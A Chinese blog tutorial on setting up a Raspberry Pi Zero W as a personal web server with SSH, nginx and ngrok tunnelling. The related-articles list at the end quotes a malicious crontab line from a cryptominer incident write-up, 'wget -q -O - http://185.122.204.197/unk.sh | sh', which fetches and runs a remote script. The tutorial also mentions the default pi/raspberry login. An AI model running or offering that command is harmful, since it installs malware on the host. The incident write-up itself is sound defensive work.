如何搭建一台永久运行的个人服务器?

一、前言

由于本人在这段时候,看到了一个叫做树莓派的东东,初步了解之后觉得很有意思,于是想把整个过程记录下来。

二、树莓派是什么?

Raspberry Pi(中文名为树莓派,简写为RPi,(或者RasPi / RPI) 是为学习计算机编程教育而设计),只有信用卡大小的微型电脑,其系统基于Linux。随着Windows 10 IoT的发布,我们也将可以用上运行Windows的树莓派。自问世以来,受众多计算机发烧友和创客的追捧,曾经一“派”难求。别看其外表“娇小”,内“心”却很强大,视频、音频等功能通通皆有,可谓是麻雀虽小,五脏俱全。

1.用我的话理解

用我的话理解就是树莓派就是一台主机,你可以外接显示器,键盘鼠标,u盘等等外设,因为它体积很小,而且又有很多串口和外接的口,可以直接调用很多底层硬件。

2.市面上的型号

市面上大多是3代B+型,淘宝一搜树莓派一大堆都是,价钱纯主板(不要任何外设)在230+左右,有点小贵,超过我的预算,所以我继续寻找廉价的,终于让我发现了一款100+的树莓派。

3.树莓派zero w

树莓派zero w是一款mini的树莓派,体质只有3b+的1/3。实际到手后,你会发现它真的超级小,超级可爱。以下是我的实物图,你可以看看大小到底有多mini。

图片

你可以看到,最上面是一根普通的黑色签字笔,接下来是一个即插即用型的外接wifi网卡,然后是一个USB读卡器,最底下的就是我们今天的主角zero w。它真的超级小,有木有。真的是完美的诠释了那句“麻雀虽小,五脏俱全”的话。

zero w这款树莓派的主要参数如下:

  • BCM2835处理器,1GHz主频,512MB RAM

  • BCM43438 WiFi / BT芯片

  • micro-USB电源接口

  • micro-USB OTG接口

  • miniHDMI端口

  • 复合视频和重置扩展接口

  • 脆弱的CSI摄像头接口

  • micro-SD卡座,存放操作系统

  • 40-pin GPIO扩展接口

  • 尺寸:65mm*30mm

你别看它的cpu只有1核,内存只有512MB,就觉得它可能什么都做不了,但是实际上它的性能还是很好的,用于跑一个网站真的是小case。

4.更多树莓派

关于更多树莓派型号或者使用教程你可以去树莓派实验室这个网站,上面有丰富的资源。

三、树莓派zero w安装系统

1.准备

你可能提前需要准备的东西如下:

  • 16GB or 32GB 的SanDisk内存卡(注意是以前那种放在手机上,很小的哦)

  • 一根最普通不过的usb安卓数据线(not type-c)

  • u盘格式化工具(推荐使用 SDFormatter)

  • 系统烧写工具(Win32DiskImager)

  • 树莓派系统(可以去官网下载)

我使用的是Raspbian Stretch Lite这个系统镜像,这个系统是官方制作的,lite是无桌面版的,只有黑漆漆的控制台,优点是体积小,省性能和内存。

名字带有desktop的是有桌面ui的,对不熟悉liunx系统的朋友可能更友好,但是体积很大,占用的性能也会更高。

图片

2.第一步下载系统镜像

下载好你需要的系统镜像后,如下图

图片

一开始只有一个zip的压缩包,大小大概360MB左右,你需要把它解压,得到上图的文件夹

图片

然后进入文件夹可以看到一个img的镜像,大小为1.7GB左右

ps:这个官方的Raspbian镜像,如果是其他第三方的镜像,可能下载后的压缩包解压后不是img镜像,这种情况请另行百度解决

3.使用Win32DiskImager往内存卡中写入镜像

图片

把内存卡插入读卡器后,插入电脑。打开Win32DiskImager软件后,选择img镜像,设备选择你的U盘,然后点击写入就可以了,写入完成后会弹出成功的提示框。

ps: 我上图没有选择设备,因为的没插入读卡器,仅仅是示范而已

4.修改boot分区的文件

先别急着拔出读卡器,此时,我们电脑可以看到u盘中只有一个名为boot的分区,大小可能只有40MB左右,不要着急,因为window不识别内存卡中liunx系统的其他分区。

4.1新建ssh文件

因为我们的zero w有一个mini hdmi的接口,但是我不需要屏幕,所以需要使用ssh连接到zero w中的系统,所以需要在第一次开机就能开启ssh功能。我们进入boot分区内,然后新建一个名为ssh的文件,注意不要后缀名!!!!也不要往里面写任何东西!!

4.2新建wpa_supplicant.conf文件

因为ssh连接是需要ip地址的,所以我们需要将zero w在第一次开机自动连接wifi,使其和我们的电脑处于一个局域网,这样我们才可以通过ssh连接到zero w的系统。同样的在boot分区内,新建一个名为wpa_supplicant.conf的文件,然后往里面写入如下内容后保存:

country=CN
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1network={
ssid="你的wifi名字"
psk="你的wifi密码"
}

5.组装我们的最小主机并连接

取出读卡器中的内存卡,然后插入到zero w中,使用一根usb安卓数据线连接电源(5V1A)即可。等待几分钟,期间我们的zero w的指示灯会一直闪烁,很正常,等待指示灯常亮的时候,我们去路由器上,查看一下树莓派的ip地址。

图片

可以看到我们zero w的ip为192.168.0.104,然后使用ssh连接工具(推荐使用putty)连接树莓派,初始账户为pi,密码是raspberry。

图片

连接成功,如上图所示。这样我们的系统就正确无误的安装好了。

ps: 如果是手机开启热点当做一个路由器的话,咱们手机下载一个名叫android terminal的app,然后输入ip neigh指令,就可以查到连接到手机的设备的ip信息了。

6.优化咱们树莓派的系统

6.1修改源

因为国外的源,咱们在国内的连接过去网速很慢,所以我们需要修改为国内的源,我修改的是中科大的源。

6.1.1修改sources.list文件
sudo nano /etc/apt/sources.list 
--注释其他内容,添加以下:
deb http://mirrors.ustc.edu.cn/raspbian/raspbian/raspbian stretch main contrib non-free rpi
6.1.2修改raspi.list文件
sudo nano /etc/apt/sources.list.d/raspi.list
--注释其他内容,添加以下:
deb http://mirrors.ustc.edu.cn/archive.raspberrypi.org/debian stretch main ui
6.1.3执行更新
sudo apt-get update
sudo apt-get upgrade
6.2修改时区
sudo dpkg-reconfigure tzdata

找到亚洲Asia,然后选择shanghai就可以了。另外,搜索公众号Linux中文社区后台回复“私房菜”,获取一份惊喜礼包。

6.3开机自启ssh

第一种:

sudo raspi-config

进入选择找到interfacing option选择,然后找到ssh,按回车使能enable就可以了

第二种:在终端命令行中启动SSH服务后,如果系统重启或关机后启动,SSH服务默认是关闭的,依然需要手动启动,为了方便可以设置SSH服务开机自动启动,打开/etc/rc.local文件,在语句exit 0之前加入:/etc/init.d/ssh start

建议都试试,反之我的是可以了。

7.安装nginx

#安装
sudo apt-get install nginx
#启动
sudo /etc/init.d/nginx start
#重启
sudo /etc/init.d/nginx restart
#停止
sudo /etc/init.d/nginx stop

打开浏览器访问192.168.0.104(你的树莓派ip地址),可以看到nginx的页面,说明安装好了。我这边上传了我的博客,如下图

图片

可以正常的看到页面了,但是这样只能在内网(局域网中)看到,我想让所有人都可以访问怎么办?

8.内网穿透

内网穿透,意思就是将内网(本地)的web应用通过nat穿透到公网上,从而让别人可以访问到。

内网穿透目前主要由ngrok和frp两种,都非常好用,国内ngrok免费的有ittun、sunny和natapp,这三个都是免费的,前面两个可以自定义域名,后面的需要vip版本才可以自定义域名。

我这三种都试过,我发现sunny的arm版本的ngrok客户端在我的树莓派运行不了,ittun的和natpp的ngrok都可以,由于需要自定义域名,我使用的是ittun的ngrok_arm版本的

使用方法这三者官网都有详细说明,大家自行查看。

这是正常运行时的截图:

图片

图片

因为需要ngrok在后台运行,所以我用的是screen会话使其可以在后台运行。但是开启自启,还没有实现,万一断电或者断网了,我必须手动去运行一下ngrok,这是目前没有解决的痛点。

9.更多

树莓派不仅仅只是可以用于运行一个网站,还有很多很多的功能等待你的开发,可以多去看看树莓派实验室里面,很多大神都写了很多实用的教程。

我的zero w状态信息如下:

图片

在上面开启了一个nginx和ngrok服务,内存剩余还有250MB,还是很舒服的,cpu温度也不算高,运行两天了,基本在37-39之间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/23282.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

kafka学习笔记 @by_TWJ

目录 1. 消息重复消费怎么解决1.1. 确保相同的消息不会被重复发送(消费幂等性)1.2. 消息去重1.3. 消息重试机制1.4. kafka怎么保证消息的顺序性1.4.1. 利用分区的特征:1.4.2. 解决办法:1.4.3. 分区分配策略1.4.3.1. RangeAssignor (每组(Topi…

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…

【PLG洞察】| 飞书成功之路:关键在分销裂变

引言 随着企业服务市场的发展,Product-Led Growth(PLG,产品驱动增长)模式逐渐成为众多SaaS企业的首选战略。在这个背景下,字节跳动旗下的企业协作与管理平台——飞书,凭借其独特的分销裂变策略&#xff0c…

【YOLOV8】2.目标检测-训练自己的数据集

Yolo8出来一段时间了,包含了目标检测、实例分割、人体姿态预测、旋转目标检测、图像分类等功能,所以想花点时间总结记录一下这几个功能的使用方法和自定义数据集需要注意的一些问题,本篇是第二篇,目标检测功能,自定义数据集的训练。 YOLO(You Only Look Once)是一种流行的…

【原创】springboot+mysql村务档案管理系统设计与实现

个人主页:程序猿小小杨 个人简介:从事开发多年,Java、Php、Python、前端开发均有涉猎 博客内容:Java项目实战、项目演示、技术分享 文末有作者名片,希望和大家一起共同进步,你只管努力,剩下的交…

pytorch——猫狗识别

猫狗识别 训练模型导入需要的包数据加载数据预处理加载数据集并返回对应的图像和标签提取标签信息创建训练和测试的数据加载器图像分类CNN的卷积神经网络模型MYVGG的卷积神经网络模型AlexNet的卷积神经网络模型 训练过程测试过程定义了一个主函数 测试模型导入需要的库加载之前…

无线模块应用晶振SG5032VAN

随着物联网(IoT)和无线通信技术的迅速发展,无线模块已经成为各种智能设备的重要组成部分。在无线模块中,选择高性能的时钟源对于确保系统的稳定性和可靠性至关重要。爱普生SG5032VAN是一款LVDS差分晶振,作为一款高性能…

WINUI——Behavior(行为)小结

前言 在使用MVVM进行WINUI或WPF开发时,Command在某些时候并不能满足逻辑与UI分离的要求。这时肯定就需要其它技术的支持,Behavior就是一种。在WPF中是有Behavior直接支持的,转到WINUI后,相对有一些麻烦,于是在此记录之…

Enscape 4.1.0 软件安装教程+离线资源库

软件介绍 Enscape 是专门为建筑、规划、景观及室内设计师打造的渲染产品,无需导入导出文件,在常用的软件内部即可看到逼真的渲染效果。 你无需了解记忆各种参数的用法,一切都是傻瓜式的一键渲染,你可以把精力更多地投入到设计中…

ElementUI之el-tooltip显示多行内容

ElementUI之el-tooltip显示多行内容 文章目录 ElementUI之el-tooltip显示多行内容1. 多行文本实现2. 实现代码3. 展示效果 1. 多行文本实现 展示多行文本或者是设置文本内容的格式,使用具名 slot 分发content,替代tooltip中的content属性。 2. 实现代码 …

Sui主网升级至V1.26.2版本

Sui主网现已升级至V1.26.2版本,同时Sui协议升级至48版本。 其他升级要点如下所示: 协议 #17881 Sui原生随机性功能现在已在测试网启用。 索引器 #17649 JSON-RPC:现在JSON-RPC在查询时将返回正确的币种元数据和总供应量信息。 索引器…

【图像处理与机器视觉】灰度变化与空间滤波

基础 空间域与变换域 空间域:认为是图像本身,对于空间域的操作就是对图像中的像素直接进行修改 变换域:变换系数处理,不直接对于图像的像素进行处理 邻域 图像中某点的邻域被认为是包含该点的小区域,也被称为窗口 …

在IDEA中使用Git在将多次commit合并为一次commit

案例: 我想要将master分支中的 测试一、测试二、测试三三次commit合并为一次commit 1. 点击Git 2. 双击点击commit所在的分支 3. 右键要合并的多个commit中的第一次提交的commit 4. 点击右键后弹出的菜单中的Interactively Rebase From Here选项 5. 点击测试二…

MySQL排序操作

025排序操作 select .. from .. order by 字段 asc/descselect empno, ename, sal from emp order by sal asc;asc 不写的话,默认升序 多个字段排序 查询员工的编号、姓名、薪资,按照薪资升序排列,如果薪资相同的,再按照姓名升…

二叉树的顺序结构(堆的实现)

前言 普通的二叉树是不适合用数组来存储的,因为可能会存在大量的空间浪费。而完全二叉树更适合使用顺序结 构存储。 现实中我们通常把堆 ( 一种二叉树 ) 使用顺序结构的数组来存储,需要注意的是这里的堆和操作系统 虚拟进程地址空间中的堆是两回事&…

问题:8255A的端口A工作在方式2时,使用端口C的______作为与CPU和外部设备的联络信号。 #媒体#经验分享#其他

问题:8255A的端口A工作在方式2时,使用端口C的______作为与CPU和外部设备的联络信号。 参考答案如图所示

邮件安全证书,保障通信安全的必备利器

在数字通信日益普及的今天,电子邮件的安全性越来越受到人们的关注。邮件安全证书,作为保障邮件通信安全的重要工具,逐渐走进了大众的视野。本文将为大家揭秘邮件安全证书,解答关于它的常见问题,帮助大家更好地了解和使…

浮点数的精度和精度丢失,如何规避,有简单操作

在日常工作中,如果做财务软件相关肯定会遇到这种问题,凭证金额表面上看是相等的,但程序运算出的结果却是FALSE。 例如:验证凭证金额借方总金额是否等于贷方总金额? 直接sum(借方分录金额1.1借方分录金额2.…

RK3568技术笔记之一 RK3568总体介绍

RK3568是瑞芯微开发出一款很好用的芯片。我先把ROCKCHIP的原厂信息搬过来看看。 首先声明一下,这篇文章里的资讯版权归瑞芯微电子股份有限公司。毕竟是我转过来的嘛。 我自己的心得,版权就归我啦。 主要特性 Quad-core Cortex-A55 up to 2.0GHzMali-G…

认识HTTP状态码(status code)

目录 1、200 OK(访问成功)👇 2、404 Not Found (没有找到资源)👇 3、403 Forbidden (访问拒绝)👇 4、405 Method Not Allowed👇 6、504 Gateway Timeout…